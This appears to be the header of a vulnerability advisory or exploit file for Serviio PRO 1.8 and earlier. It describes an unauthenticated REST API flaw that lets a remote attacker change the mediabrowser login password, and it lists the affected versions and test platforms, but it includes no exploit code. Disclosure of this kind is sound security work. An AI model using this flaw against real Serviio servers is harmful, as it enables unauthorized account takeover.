# Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change  
#  
#  
# Vendor: Petr Nejedly | Six Lines Ltd  
# Product web page: http://www.serviio.org  
# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1  
#  
# Summary: Serviio is a free media server. It allows you to stream your media  
# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,  
# games console or mobile phone) on your connected home network.  
#  
# Desc: The version of Serviio installed on the remote Windows/Linux host is affected  
# by an unauthenticated password modification vulnerability due to improper access  
# control enforcement of the Configuration REST API. A remote attacker can exploit this,  
# via a specially crafted request, to change the login password for the mediabrowser protected  
# page.  
#  
# Tested on: Restlet-Framework/2.2  
# Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8  
# Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8  
# Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
